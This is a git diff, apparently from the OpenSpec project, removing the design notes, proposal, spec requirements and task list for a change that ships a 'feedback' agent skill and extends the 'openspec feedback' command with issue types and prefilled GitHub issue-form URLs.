in `getSkillTemplates()` (`src/core/shared/skill-generation.ts:61`), but the
|
||||
SKILL.md frontmatter is written from `template.name`
|
||||
(`src/core/shared/skill-generation.ts:142`), and every registered template sets
|
||||
`name` equal to its dirName — `openspec-verify-change`, `openspec-onboard`, and so
|
||||
on. `src/core/templates/workflows/feedback.ts:11` sets `name: 'feedback'`, written
|
||||
when nothing deployed it.
|
||||
|
||||
Registering it as-is would commit `skills/openspec-feedback/SKILL.md` whose
|
||||
frontmatter says `feedback` — the only skill where the two disagree, and a
|
||||
disagreement with both `OPENSPEC_SKILL_NAMES` and the `/openspec-feedback`
|
||||
reference in `COMMAND_TO_SKILL_NAME`. The template's `name` becomes
|
||||
`openspec-feedback`; the workflow id stays `feedback`, exactly as `verify` maps to
|
||||
`openspec-verify-change`.
|
||||
|
||||
### The command template must take `$ARGUMENTS`
|
||||
|
||||
`test/core/command-generation/adapters.test.ts:158` asserts that `onboard` is the
|
||||
only command with no `$ARGUMENTS` placeholder, and the file describes that
|
||||
assertion as a tripwire for exactly this situation. `/opsx-feedback <what went
|
||||
wrong>` should accept the message anyway — an agent invoking it already has the
|
||||
sentence.
|
||||
|
||||
## Risks / Trade-offs
|
||||
|
||||
- **A seventh core skill for every user.** Accepted above, and cheap to reverse.
|
||||
- **Five parallel id maps, three unprotected.** This change adds a sixth entry to
|
||||
each. It does not consolidate them — that is a refactor with its own blast
|
||||
radius and belongs in its own proposal — but the tasks below touch all of them
|
||||
in one pass. Be clear about what actually catches an omission: only `tsc`, via
|
||||
the `Record<WorkflowId, string>` at `profile-sync-drift.ts:28`. The other guards
|
||||
are fixed-count assertions such as `tool-detection.test.ts:33`, which fail when
|
||||
you *add* an entry and stay silent when you skip one, and
|
||||
`command-references.test.ts:92`, whose list is hand-written and does not derive
|
||||
from `ALL_WORKFLOWS` — it omits `propose`, which is in the map. Omitting
|
||||
`feedback` from `COMMAND_TO_SKILL_NAME` fails nothing at all.
|
||||
- **The skill tells an agent to run a command that posts to GitHub.** Mitigated by
|
||||
contract rather than convention: the amended skill requirement in `cli-feedback`
|
||||
keeps showing the complete draft and receiving explicit confirmation a MUST.
|
||||
- **Anonymization is instruction, not enforcement.** An agent can still include a
|
||||
path it should have redacted. This is the same bound the existing spec accepts;
|
||||
making it mechanical would mean parsing the body the agent wrote, which is a
|
||||
different change.
|
||||
|
||||
## Migration
|
||||
|
||||
None for data. `openspec update` installs the new skill and command on the next
|
||||
run; `openspec init` installs them for new projects. Projects on a `custom`
|
||||
profile keep their selection and are nudged, not modified.
|
||||
@@ -1,116 +0,0 @@
|
||||
## Why
|
||||
|
||||
`CONTRIBUTING.md` asks every change to start with an issue. Filing one is now the
|
||||
path of least resistance for someone who opens this repository on GitHub —
|
||||
[#1847](https://github.com/Fission-AI/OpenSpec/pull/1847) added the issue forms and
|
||||
the PR template. It is still not the path of least resistance for the person who
|
||||
hits the bug: a user in their own project, with `openspec` installed and an agent
|
||||
open, who says "file that as an issue."
|
||||
|
||||
Two things stand between them and a well-formed issue.
|
||||
|
||||
**The skill that was supposed to do this has never existed for anyone.**
|
||||
`openspec/specs/cli-feedback/spec.md` specifies a `/feedback` skill that gathers
|
||||
context, drafts, anonymizes, and submits. The template is written and exported
|
||||
(`src/core/templates/workflows/feedback.ts`, re-exported at
|
||||
`src/core/templates/skill-templates.ts:21`), but `feedback` is not in
|
||||
`ALL_WORKFLOWS` (`src/core/profiles.ts:19`), so it is in no skill registry, no
|
||||
tool's skill directory, and no user's project. The requirement is unimplemented,
|
||||
and the parity suite records that deliberately: `skill-templates-parity.test.ts:83`
|
||||
excludes it from the generated-skill list because it "is covered in function
|
||||
payload parity" — the payload of a template nothing deploys.
|
||||
|
||||
**What the CLI emits does not match what the forms ask for.**
|
||||
`openspec feedback "..."` posts a free-form `## Summary` / `## Details` body under
|
||||
a `Feedback: ` title, with no expected-vs-actual, no repro, and no agent or model —
|
||||
the four things triage asks for every time. It requests the `feedback` label, which
|
||||
this repository does not define, so every submission falls back to unlabeled and
|
||||
prints a note saying so. And the manual URL in `generateManualSubmissionUrl()`
|
||||
(`src/commands/feedback.ts:127`) passes bare `title`/`body`, which now lands on the
|
||||
*blank* issue form — so every user without `gh` bypasses the forms #1847 just added.
|
||||
|
||||
The result is that the two people most able to write a good bug report — the user
|
||||
who just hit it, and the agent that watched it happen — are the two we equip least.
|
||||
|
||||
## What Changes
|
||||
|
||||
- **Register `feedback` as a workflow.** It joins `ALL_WORKFLOWS` and
|
||||
`CORE_WORKFLOWS`, so `openspec init` and `openspec update` install it by default
|
||||
alongside the six workflows already there. A skill nobody opts into does not
|
||||
change the outcome for anyone; see design.md for why this is worth a seventh
|
||||
core workflow and what it costs.
|
||||
- **Author the missing command template.** `feedback` is the only workflow whose
|
||||
module exports a skill template and no `getOpsx*CommandTemplate`. Without one it
|
||||
is a skills-only workflow that `profile-sync-drift` reports as drift forever
|
||||
under `delivery: 'both'`.
|
||||
- **Rewrite the skill to refine the report, then draft it.** Two different jobs
|
||||
that the current template conflates. Facts are the skill's to find — the
|
||||
conversation, the failing command, the version, the platform — and it should
|
||||
never ask for one of those. Judgements are the user's, and those are worth
|
||||
asking about: what the report is really asking for, who it affects, what it
|
||||
deliberately leaves out. A report that arrives already scoped is the labour this
|
||||
saves later, so the skill converges on one with the user before it drafts
|
||||
anything, then shows one complete draft and submits on a single confirmation.
|
||||
Its fields are the form's fields, so a skill-filed issue and a form-filed issue
|
||||
read the same.
|
||||
- **`openspec feedback --type bug|feature|feedback`.** Each type emits the body
|
||||
the matching form asks for and requests the labels that form applies — `bug,
|
||||
needs-triage`, `enhancement, needs-triage`, or `feedback` — so a CLI-filed
|
||||
report lands in the same triage queue as a form-filed one. `feedback` stays the default, so the bare command a
|
||||
user types today behaves exactly as it does today, including the retry that
|
||||
rescues a submission when a label is missing.
|
||||
- **Define the `feedback` label in this repository.** It is the one the command
|
||||
has always asked for and the one this repository has never had, which is why
|
||||
every submission today is created unlabeled and apologizes for it. This is a
|
||||
repository setting, not code — no released version changes.
|
||||
- **Prefill the form in the manual fallback.** The URL gains
|
||||
`?template=bug_report.yml` and the form's own field ids, so a user without `gh`
|
||||
lands on the filled-in form rather than a blank box. The URL is capped, and falls
|
||||
back to the blank-issue URL it builds today when prefill would exceed the cap.
|
||||
- **Not breaking.** `openspec feedback "msg"` with no flags keeps its title,
|
||||
its body shape, and its exit codes. No existing workflow id, skill directory, or
|
||||
command name changes.
|
||||
|
||||
## Capabilities
|
||||
|
||||
### New Capabilities
|
||||
|
||||
None. The skill contract already lives in `cli-feedback` as the "Feedback skill
|
||||
for agents" requirement; it is amended there rather than moved to an
|
||||
`opsx-feedback-skill` capability, because moving it changes nothing for a reader
|
||||
and costs a removal plus a new file.
|
||||
|
||||
### Modified Capabilities
|
||||
|
||||
- `cli-feedback`: `--type` and its effect on title, body, and label; the manual fallback URL
|
||||
targeting the issue form with prefilled fields; the feedback skill requirement
|
||||
amended to refine before drafting — facts found rather than asked for, the
|
||||
user's judgements put to them with a recommendation — and stated as installed
|
||||
rather than merely specified.
|
||||
|
||||
## Depends on
|
||||
|
||||
[#1847](https://github.com/Fission-AI/OpenSpec/pull/1847), unmerged. It adds
|
||||
`.github/ISSUE_TEMPLATE/bug_report.yml` and `feature_request.yml`; every field id
|
||||
this change prefills and the test that pins those ids read those files, so the
|
||||
form-prefill work (tasks 5 and 6.11) cannot start until it lands. Everything else
|
||||
here — registering the workflow, the command template, the skill rewrite, `--type`
|
||||
— is independent of it.
|
||||
|
||||
## Impact
|
||||
|
||||
- **Affected behavior**: `openspec feedback` (new flag, new bodies, new fallback
|
||||
URL); `openspec init` and `openspec update` for every user, which now install a
|
||||
seventh core skill and command; `openspec config profile`, whose picker gains a
|
||||
row.
|
||||
- **Existing projects**: `openspec update` adds the skill on the next run. Projects
|
||||
on a `custom` profile are nudged about the newly-core workflow rather than having
|
||||
it added silently, via the path `src/core/update.ts:689` already takes.
|
||||
- **Unaffected**: every other workflow, the schema system, and
|
||||
`config-schema.ts`, which validates `workflows` as `z.array(z.string())` with no
|
||||
enum.
|
||||
- **Docs**: `docs/commands.md`, `docs/workflows.md`, `docs/supported-tools.md`,
|
||||
`docs/glossary.md`, and `README.md` list workflows by name and gain a row.
|
||||
- **Repository, not product**: the `bug_report.yml` / `feature_request.yml` field
|
||||
ids become an interface the CLI depends on. design.md states how that coupling
|
||||
fails safe.
|
||||
@@ -1,245 +0,0 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Feedback command
|
||||
|
||||
The system SHALL provide an `openspec feedback` command that creates a GitHub Issue in the openspec repository using the `gh` CLI. The system SHALL use `execFileSync` with argument arrays to prevent shell injection vulnerabilities.
|
||||
|
||||
The command SHALL accept a `--type` option with the values `bug`, `feature`, and `feedback`, defaulting to `feedback`. The type SHALL determine the issue title, the body sections, and the label requested:
|
||||
|
||||
| Type | Title | Body sections | Labels |
|
||||
|---|---|---|---|
|
||||
| `feedback` | `Feedback: <message>` | Summary, Details | `feedback` |
|
||||
| `bug` | `<message>` | What happened, Expected, Repro, Version, Agent, Environment | `bug`, `needs-triage` |
|
||||
| `feature` | `<message>` | Problem, Who it affects, What you tried, Proposal | `enhancement`, `needs-triage` |
|
||||
|
||||
The `bug` and `feature` body sections SHALL match the fields and order of the repository's issue forms, and the labels requested SHALL be the labels those forms apply, so that a report filed by the command and a report filed through the form read the same and reach the same triage queue. The system SHALL reject an unrecognized `--type` value with a message naming the accepted values, and SHALL NOT submit anything.
|
||||
|
||||
#### Scenario: Simple feedback submission
|
||||
|
||||
- **WHEN** user executes `openspec feedback "Great tool!"`
|
||||
- **THEN** the system executes `gh issue create` with title "Feedback: Great tool!"
|
||||
- **AND** the issue body includes "Great tool!" under a Summary heading
|
||||
- **AND** the issue is created in the openspec repository
|
||||
- **AND** the issue has the `feedback` label
|
||||
- **AND** the system displays the created issue URL
|
||||
|
||||
#### Scenario: Bug report submission
|
||||
|
||||
- **WHEN** user executes `openspec feedback "archive drops the main spec" --type bug`
|
||||
- **THEN** the issue title is "archive drops the main spec" with no "Feedback: " prefix
|
||||
- **AND** the issue body carries the bug form's sections in the form's order
|
||||
- **AND** the system requests the `bug` and `needs-triage` labels
|
||||
- **AND** the system displays the created issue URL
|
||||
|
||||
#### Scenario: Feature request submission
|
||||
|
||||
- **WHEN** user executes `openspec feedback "let me unarchive a change" --type feature`
|
||||
- **THEN** the issue title is "let me unarchive a change" with no "Feedback: " prefix
|
||||
- **AND** the issue body carries the feature form's sections in the form's order
|
||||
- **AND** the system requests the `enhancement` and `needs-triage` labels
|
||||
|
||||
#### Scenario: Unrecognized type
|
||||
|
||||
- **WHEN** user executes `openspec feedback "message" --type question`
|
||||
- **THEN** the system reports that `question` is not an accepted type
|
||||
- **AND** names `bug`, `feature`, and `feedback` as the accepted values
|
||||
- **AND** exits with a non-zero code without contacting GitHub
|
||||
|
||||
#### Scenario: Repository does not define the feedback label
|
||||
|
||||
- **WHEN** user executes `openspec feedback "Great tool!"`
|
||||
- **AND** the repository does not define the `feedback` label, so `gh` refuses to create the issue
|
||||
- **THEN** the system retries `gh issue create` without the label
|
||||
- **AND** the issue is created in the openspec repository without the `feedback` label
|
||||
- **AND** the system displays the created issue URL
|
||||
- **AND** the system notes that the label was not applied
|
||||
|
||||
#### Scenario: Repository does not define a type's label
|
||||
|
||||
- **WHEN** user executes `openspec feedback "message" --type bug`
|
||||
- **AND** the repository does not define one of the labels, so `gh` refuses to create the issue
|
||||
- **THEN** the system retries `gh issue create` without labels, as it does for the `feedback` label
|
||||
- **AND** the issue is created in the openspec repository without labels
|
||||
- **AND** the system notes that the labels were not applied
|
||||
|
||||
#### Scenario: Safe command execution
|
||||
|
||||
- **WHEN** submitting feedback via `gh` CLI
|
||||
- **THEN** the system uses `execFileSync` with separate arguments array
|
||||
- **AND** user input is NOT passed through a shell
|
||||
- **AND** shell metacharacters (quotes, backticks, $(), etc.) are treated as literal text
|
||||
|
||||
#### Scenario: Feedback with body
|
||||
|
||||
- **WHEN** user executes `openspec feedback "Title here" --body "Detailed description..."`
|
||||
- **THEN** the system creates a GitHub Issue with the specified title
|
||||
- **AND** the issue body contains the message under a Summary heading
|
||||
- **AND** the issue body contains the detailed description under a Details heading
|
||||
- **AND** the issue body includes metadata (OpenSpec version, platform, timestamp)
|
||||
|
||||
#### Scenario: Long or multiline feedback message
|
||||
|
||||
- **WHEN** user executes `openspec feedback` with a long or multiline message
|
||||
- **THEN** the issue title is a single whitespace-normalized line of at most 72 characters
|
||||
- **AND** an ellipsis indicates when the title was shortened
|
||||
- **AND** the complete message is preserved in the issue body
|
||||
|
||||
### Requirement: GitHub CLI dependency
|
||||
|
||||
The system SHALL use `gh` CLI for automatic feedback submission when available, and provide a manual submission fallback when `gh` is not installed or not authenticated. The system SHALL use platform-appropriate commands to detect `gh` CLI availability.
|
||||
|
||||
The pre-filled URL offered by the manual fallback SHALL target the repository's issue form matching the `--type`, prefilling each of the form's fields by its field id, so that a user without `gh` reaches the same form a user on GitHub reaches. The system SHALL fall back to the blank-issue URL, carrying the complete body, when no form matches the type or when the prefilled URL would exceed the length the system accepts. The system SHALL NOT read the issue forms at runtime.
|
||||
|
||||
#### Scenario: Missing gh CLI with fallback
|
||||
|
||||
- **WHEN** user runs `openspec feedback "message"`
|
||||
- **AND** `gh` CLI is not installed (not found in PATH)
|
||||
- **THEN** the system displays warning: "GitHub CLI not found. Manual submission required."
|
||||
- **AND** outputs structured feedback content with delimiters:
|
||||
- "--- FORMATTED FEEDBACK ---"
|
||||
- Title line
|
||||
- Labels line
|
||||
- Body content with metadata
|
||||
- "--- END FEEDBACK ---"
|
||||
- **AND** displays pre-filled GitHub issue URL for manual submission
|
||||
- **AND** exits with zero code (successful fallback)
|
||||
|
||||
#### Scenario: Fallback URL targets the bug form
|
||||
|
||||
- **WHEN** the manual fallback is reached for `--type bug`
|
||||
- **THEN** the pre-filled URL selects the repository's bug report form
|
||||
- **AND** carries one query parameter per form field id, holding that field's drafted content
|
||||
- **AND** a field the system cannot fill is omitted rather than sent empty
|
||||
|
||||
#### Scenario: Fallback URL too long for the form
|
||||
|
||||
- **WHEN** the manual fallback is reached for `--type bug`
|
||||
- **AND** the prefilled URL would exceed the length the system accepts
|
||||
- **THEN** the system displays the blank-issue URL instead
|
||||
- **AND** the complete body is still carried in that URL
|
||||
- **AND** the complete body is still printed between the feedback delimiters
|
||||
|
||||
#### Scenario: Fallback URL for general feedback
|
||||
|
||||
- **WHEN** the manual fallback is reached for the default `feedback` type
|
||||
- **THEN** the system displays the blank-issue URL, because no issue form matches general feedback
|
||||
- **AND** the URL carries the complete body, as it does today
|
||||
|
||||
#### Scenario: Cross-platform gh CLI detection on Unix
|
||||
|
||||
- **WHEN** system is running on macOS or Linux (platform is 'darwin' or 'linux')
|
||||
- **AND** checking if `gh` CLI is installed
|
||||
- **THEN** the system executes `which gh` command
|
||||
|
||||
#### Scenario: Cross-platform gh CLI detection on Windows
|
||||
|
||||
- **WHEN** system is running on Windows (platform is 'win32')
|
||||
- **AND** checking if `gh` CLI is installed
|
||||
- **THEN** the system executes `where gh` command
|
||||
|
||||
#### Scenario: Unauthenticated gh CLI with fallback
|
||||
|
||||
- **WHEN** user runs `openspec feedback "message"`
|
||||
- **AND** `gh` CLI is installed but not authenticated
|
||||
- **THEN** the system displays warning: "GitHub authentication required. Manual submission required."
|
||||
- **AND** outputs structured feedback content (same format as missing gh CLI scenario)
|
||||
- **AND** displays pre-filled GitHub issue URL for manual submission
|
||||
- **AND** displays authentication instructions: "To auto-submit in the future: gh auth login"
|
||||
- **AND** exits with zero code (successful fallback)
|
||||
|
||||
#### Scenario: Authenticated gh CLI
|
||||
|
||||
- **WHEN** user runs `openspec feedback "message"`
|
||||
- **AND** `gh auth status` returns success (authenticated)
|
||||
- **THEN** the system proceeds with feedback submission
|
||||
|
||||
### Requirement: Feedback skill for agents
|
||||
|
||||
The system SHALL install a `feedback` workflow — a skill and a slash command — as part of the core profile, so that `openspec init` and `openspec update` deliver it without the user selecting it. The skill SHALL guide an agent through drafting and submitting a report.
|
||||
|
||||
The skill SHALL find facts rather than ask for them. Everything observable from the conversation or the environment — the task in progress, the failing command and its output, the OpenSpec version, the platform, and the agent and model — SHALL be filled in by the skill, and SHALL NOT be put to the user as a question.
|
||||
|
||||
The skill SHALL refine the report with the user before drafting it, because a report that arrives already scoped is the labour it saves later. It SHALL put to the user the judgements only the user holds — what the report is really asking for, who it affects, what it deliberately excludes, and whether a reported problem is the problem or a symptom — and SHALL carry a recommended answer with each, so that agreement costs a word. It SHALL order questions by dependency, never asking one whose answer depends on a question still open.
|
||||
|
||||
Refinement SHALL end when nothing material is left unsettled, rather than at a fixed number of questions: a one-line typo report and a half-formed feature idea do not need the same conversation. The skill SHALL then present one complete draft and submit only on confirmation.
|
||||
|
||||
The drafted fields SHALL be the fields of the issue form matching the report type, so that a report filed by the skill and a report filed through the form read the same.
|
||||
|
||||
#### Scenario: Agent-initiated feedback
|
||||
|
||||
- **WHEN** user invokes the feedback skill in an agent conversation
|
||||
- **THEN** the agent gathers context from the conversation
|
||||
- **AND** drafts a report with enriched content
|
||||
- **AND** anonymizes sensitive information
|
||||
- **AND** presents the draft to the user for approval
|
||||
- **AND** submits via the `openspec feedback` command on user confirmation
|
||||
|
||||
#### Scenario: Installed by default
|
||||
|
||||
- **WHEN** a user runs `openspec init` or `openspec update` on the default profile
|
||||
- **THEN** the feedback skill and its slash command are installed alongside the other core workflows
|
||||
- **AND** a project on a custom profile is told the workflow is available rather than having it added silently
|
||||
|
||||
#### Scenario: Facts are found, not asked for
|
||||
|
||||
- **WHEN** the version, the platform, the failing command, and the model are available from the conversation or the environment
|
||||
- **THEN** the agent fills those fields itself
|
||||
- **AND** does not put any of them to the user as a question
|
||||
|
||||
#### Scenario: Refining before drafting
|
||||
|
||||
- **WHEN** the user reports a problem whose scope, audience, or intended outcome is unsettled
|
||||
- **THEN** the agent puts those judgements to the user before drafting
|
||||
- **AND** carries a recommended answer with each one
|
||||
- **AND** asks nothing whose answer depends on a question still open
|
||||
- **AND** proceeds to the draft once nothing material is left unsettled
|
||||
|
||||
#### Scenario: A report that needs no refining
|
||||
|
||||
- **WHEN** the report is already unambiguous, such as a typo or a one-line reproduction
|
||||
- **THEN** the agent drafts it without manufacturing questions to ask
|
||||
|
||||
#### Scenario: Context enrichment
|
||||
|
||||
- **WHEN** agent drafts feedback
|
||||
- **THEN** the agent includes relevant context such as:
|
||||
- What task was being performed
|
||||
- What worked well or poorly
|
||||
- Specific friction points or praise
|
||||
|
||||
#### Scenario: Anonymization
|
||||
|
||||
- **WHEN** agent drafts feedback
|
||||
- **THEN** the agent removes or replaces:
|
||||
- File paths with `<path>` or generic descriptions
|
||||
- API keys, tokens, secrets with `<redacted>`
|
||||
- Company/organization names with `<company>`
|
||||
- Personal names with `<user>`
|
||||
- Specific URLs with `<url>` unless public/relevant
|
||||
|
||||
#### Scenario: User confirmation required
|
||||
|
||||
- **WHEN** agent has drafted feedback
|
||||
- **THEN** the agent MUST show the complete draft to the user
|
||||
- **AND** ask for explicit approval before submitting
|
||||
- **AND** allow the user to request modifications
|
||||
- **AND** only submit after user confirms
|
||||
|
||||
### Requirement: Shell completions
|
||||
|
||||
The system SHALL provide shell completions for the feedback command.
|
||||
|
||||
#### Scenario: Command completion
|
||||
|
||||
- **WHEN** user types `openspec fee<TAB>`
|
||||
- **THEN** the shell completes to `openspec feedback`
|
||||
|
||||
#### Scenario: Flag completion
|
||||
|
||||
- **WHEN** user types `openspec feedback "msg" --<TAB>`
|
||||
- **THEN** the shell suggests available flags (`--body`, `--type`)
|
||||
|
||||
#### Scenario: Type value completion
|
||||
|
||||
- **WHEN** user types `openspec feedback "msg" --type <TAB>`
|
||||
- **THEN** the shell suggests `bug`, `feature`, and `feedback`
|
||||
@@ -1,168 +0,0 @@
|
||||
## 1. Author the missing command template
|
||||
|
||||
- [ ] 1.1 Add `getOpsxFeedbackCommandTemplate()` to
|
||||
`src/core/templates/workflows/feedback.ts`, following the shape of
|
||||
`getOpsxVerifyCommandTemplate`
|
||||
- [ ] 1.2 Include an `$ARGUMENTS` placeholder so the message can be passed at
|
||||
invocation — `test/core/command-generation/adapters.test.ts:158` asserts
|
||||
`onboard` is the only command without one, and that assertion is the
|
||||
tripwire for this task
|
||||
- [ ] 1.3 Re-export it from `src/core/templates/skill-templates.ts:21` beside the
|
||||
existing skill export
|
||||
|
||||
## 2. Rewrite the feedback skill to refine, then draft
|
||||
|
||||
- [ ] 2.1 Replace the skill instructions in
|
||||
`src/core/templates/workflows/feedback.ts`: find the observable facts
|
||||
first and never ask for one of them; put the user's judgements to them —
|
||||
what the report is really asking for, who it affects, what it excludes,
|
||||
whether the reported problem is the problem or a symptom — each with a
|
||||
recommended answer; order by dependency; stop when nothing material is
|
||||
unsettled; then one complete draft, submitted on one confirmation
|
||||
- [ ] 2.2 Give it a way to skip refinement entirely when the report is already
|
||||
unambiguous. A skill that manufactures questions for a typo teaches users to
|
||||
stop invoking it
|
||||
- [ ] 2.3 Make the drafted fields the issue forms' fields, per type, in the forms'
|
||||
order
|
||||
- [ ] 2.4 Teach it `openspec feedback --type` and when to choose each type
|
||||
- [ ] 2.5 Keep the anonymization rules and the show-draft-before-submitting
|
||||
guardrail from the current template — they are contract, not style
|
||||
- [ ] 2.6 Write it in the current style rather than the template's original: state
|
||||
why something matters instead of stacking capitalised MUSTs, phrase
|
||||
instructions positively rather than as prohibitions, and cut anything not
|
||||
pulling its weight. The whole skill has to fit one SKILL.md — see design.md,
|
||||
"One file, no reference layer"
|
||||
- [ ] 2.7 Change the template's `name` from `feedback` to `openspec-feedback`
|
||||
(`src/core/templates/workflows/feedback.ts:11`). The frontmatter `name:` in
|
||||
the generated SKILL.md comes from this field
|
||||
(`src/core/shared/skill-generation.ts:142`), and every other registered
|
||||
template sets it equal to its skill directory. Left alone, this would be the
|
||||
one skill whose frontmatter disagrees with its directory,
|
||||
`OPENSPEC_SKILL_NAMES`, and the `/openspec-feedback` reference in task 3.7.
|
||||
The workflow id stays `feedback`
|
||||
|
||||
## 3. Register `feedback` as a core workflow
|
||||
|
||||
Six id lists carry this information. Two are caught by `tsc` or a test; the rest
|
||||
drift silently, so all six change in one pass.
|
||||
|
||||
- [ ] 3.1 `src/core/profiles.ts:19` — add `feedback` to `ALL_WORKFLOWS`
|
||||
- [ ] 3.2 `src/core/profiles.ts:14` — add `feedback` to `CORE_WORKFLOWS`
|
||||
- [ ] 3.3 `src/core/profile-sync-drift.ts:28` — add `feedback: 'openspec-feedback'`
|
||||
to `WORKFLOW_TO_SKILL_DIR` (compile-enforced: `Record<WorkflowId, string>`)
|
||||
- [ ] 3.4 `src/core/init.ts:111` — add the same entry to the duplicate map there
|
||||
(typed `Record<string, string>`, so nothing catches its absence)
|
||||
- [ ] 3.5 `src/core/config.ts:3` — add `openspec-feedback` to
|
||||
`OPENSPEC_SKILL_NAMES`, which drives tool detection and skill-status counts
|
||||
- [ ] 3.6 `src/core/shared/tool-detection.ts:41` — add `feedback` to `COMMAND_IDS`
|
||||
- [ ] 3.7 `src/utils/command-references.ts:53` — add the entry to
|
||||
`COMMAND_TO_SKILL_NAME`, without which `transformCommandInvocations` leaves
|
||||
the id unrewritten
|
||||
- [ ] 3.8 `src/core/shared/skill-generation.ts:70` and `:97` — register the skill
|
||||
template and the command template, with their imports
|
||||
- [ ] 3.9 `src/commands/config.ts:47` — add a `WORKFLOW_PROMPT_META` entry, or the
|
||||
picker shows the raw id (`test/commands/config.test.ts:399` enforces this)
|
||||
- [ ] 3.10 Confirm `src/core/legacy-cleanup.ts:78` needs **no** entry: that list
|
||||
cleans up Codex prompts that once shipped, and `feedback` never did
|
||||
|
||||
## 4. `--type` on the CLI
|
||||
|
||||
- [ ] 4.1 `src/cli/index.ts:567` — add `--type <type>` beside `--body`
|
||||
- [ ] 4.2 `src/core/completions/command-registry.ts:479` — add the same flag with
|
||||
its accepted values, or completions and the CLI disagree
|
||||
- [ ] 4.3 `src/commands/feedback.ts` — validate the value, rejecting an
|
||||
unrecognized type before contacting GitHub
|
||||
- [ ] 4.4 Build the title per type: the `Feedback: ` prefix for `feedback`, none
|
||||
for `bug` and `feature`; keep the existing 72-character grapheme-safe
|
||||
shortening for all three
|
||||
- [ ] 4.5 Build the body sections per type, matching the issue forms' fields and
|
||||
order, with the existing metadata footer unchanged
|
||||
- [ ] 4.6 Request the labels the matching form applies — `bug, needs-triage` for
|
||||
`--type bug`, `enhancement, needs-triage` for `--type feature`, `feedback`
|
||||
for the default; keep the missing-label retry for all three
|
||||
- [ ] 4.7 Repository setting, not code: create the `feedback` label in
|
||||
`Fission-AI/OpenSpec`, which the command has always requested and the
|
||||
repository has never defined
|
||||
|
||||
## 5. Prefill the issue form in the manual fallback
|
||||
|
||||
Blocked on [#1847](https://github.com/Fission-AI/OpenSpec/pull/1847), which adds
|
||||
the forms these field ids come from. Nothing else in this change is.
|
||||
|
||||
- [ ] 5.1 `generateManualSubmissionUrl()` in `src/commands/feedback.ts:127` — take
|
||||
the type, target `template=bug_report.yml` / `feature_request.yml`, and emit
|
||||
one parameter per form field id
|
||||
- [ ] 5.2 Omit a field the command has nothing for, rather than sending it empty
|
||||
- [ ] 5.3 Cap the encoded URL; over the cap, return today's blank-issue URL with
|
||||
the body intact
|
||||
- [ ] 5.4 Return the blank-issue URL unconditionally for `--type feedback`, which
|
||||
has no form
|
||||
- [ ] 5.5 Keep the `--- FORMATTED FEEDBACK ---` block printing the complete body
|
||||
on every fallback path, so no report depends on the URL surviving
|
||||
|
||||
## 6. Tests
|
||||
|
||||
The first one fails as soon as task 3.2 lands; the rest fail at 13.
|
||||
|
||||
- [ ] 6.1 `test/core/profiles.test.ts:12` — `expect(CORE_WORKFLOWS).toEqual([...])`
|
||||
is an exact-equality assertion on the six core ids and breaks at seven
|
||||
- [ ] 6.2 `test/core/profiles.test.ts:27` (`ALL_WORKFLOWS` length) and `:31`
|
||||
(exact id list)
|
||||
- [ ] 6.3 `test/core/shared/skill-generation.test.ts` — the count assertions at
|
||||
`:13`, `:94`, `:149`
|
||||
- [ ] 6.4 `test/core/shared/tool-detection.test.ts:33`
|
||||
- [ ] 6.5 `test/core/onboarding-commands.test.ts:52` — the note's exact text; note
|
||||
that `feedback` joining the **core** profile keeps this at "6 more
|
||||
workflows", so verify rather than assume
|
||||
- [ ] 6.6 `test/core/init.test.ts:2117` and `test/core/update.test.ts:3441` —
|
||||
optional-workflow enumerations
|
||||
- [ ] 6.7 `test/utils/command-references.test.ts:92` and `:139`
|
||||
- [ ] 6.8 `test/commands/config-profile.test.ts` — a core workflow is checked by
|
||||
default, unlike the non-core pattern at `:222`
|
||||
|
||||
New coverage:
|
||||
|
||||
- [ ] 6.9 `test/commands/feedback.test.ts` — one case per `--type` asserting
|
||||
title, body sections, and requested label; the unrecognized-type rejection;
|
||||
and that the bare command is byte-identical to today's output
|
||||
- [ ] 6.10 Fallback URL: form targeted per type, fields prefilled by id, blank-issue
|
||||
URL for `feedback`, and blank-issue URL when over the cap
|
||||
- [ ] 6.11 A test asserting the field ids the CLI hard-codes are exactly the ids
|
||||
in `.github/ISSUE_TEMPLATE/bug_report.yml` and `feature_request.yml`, so a
|
||||
renamed form field fails CI here rather than emptying a field for users
|
||||
- [ ] 6.12 `test/core/init.test.ts` / `test/core/update.test.ts` — the feedback
|
||||
skill and command are written on the default profile
|
||||
|
||||
## 7. Parity: hashes and the static mirror
|
||||
|
||||
`scripts/parity-hash-shared.mjs` refuses to run while a registered skill has no
|
||||
pinned hash, so 7.1 comes before 7.2.
|
||||
|
||||
- [ ] 7.1 `test/core/templates/skill-templates-parity.test.ts` — add
|
||||
`openspec-feedback` to `EXPECTED_GENERATED_SKILL_CONTENT_HASHES` and to
|
||||
`GENERATED_SKILL_FACTORIES`, add the command template to
|
||||
`EXPECTED_FUNCTION_HASHES`, and delete the comment at `:83` that explains
|
||||
why feedback was excluded
|
||||
- [ ] 7.2 `pnpm build && pnpm regen:parity-hashes`, then
|
||||
`pnpm vitest run test/core/templates/skill-templates-parity.test.ts`
|
||||
- [ ] 7.3 `pnpm build && pnpm generate:skills` to write
|
||||
`skills/openspec-feedback/SKILL.md`, and commit it —
|
||||
`test/core/templates/skillssh-parity.test.ts` asserts the committed
|
||||
directory set equals `getSkillTemplates()` exactly
|
||||
|
||||
## 8. Docs
|
||||
|
||||
- [ ] 8.1 Add the workflow to `docs/commands.md`, `docs/workflows.md`,
|
||||
`docs/supported-tools.md`, `docs/glossary.md`, and `README.md`, matching how
|
||||
each already lists `verify` and `onboard`
|
||||
- [ ] 8.2 `docs-lab/reference/skills.md`, `docs-lab/customize/profiles.md`, and
|
||||
`docs-lab/reference/configuration/config-json.md`
|
||||
|
||||
## 9. Gate
|
||||
|
||||
- [ ] 9.1 `pnpm build && pnpm test && pnpm exec tsc --noEmit && pnpm lint` — the
|
||||
four commands CI runs; `pnpm build` first, because the suite runs against
|
||||
the build output
|
||||
- [ ] 9.2 `pnpm changeset` — this changes what every user gets from `init` and
|
||||
`update`
|
||||
- [ ] 9.3 `openspec validate ship-feedback-workflow --strict`
|
||||
@@ -53,6 +53,10 @@ The system SHALL compute a valid topological build order for artifacts.
|
||||
### Requirement: State Detection
|
||||
The system SHALL detect artifact completion state by scanning the filesystem.
|
||||
|
||||
The system SHALL recognize `generates` values containing `*`, `?`, or `[` as glob patterns. It SHALL also support brace alternatives, brace ranges, and the `@()`, `+()`, `!()`, `*()`, and `?()` extglob forms. An artifact with a glob output SHALL be completed when at least one matching file exists.
|
||||
|
||||
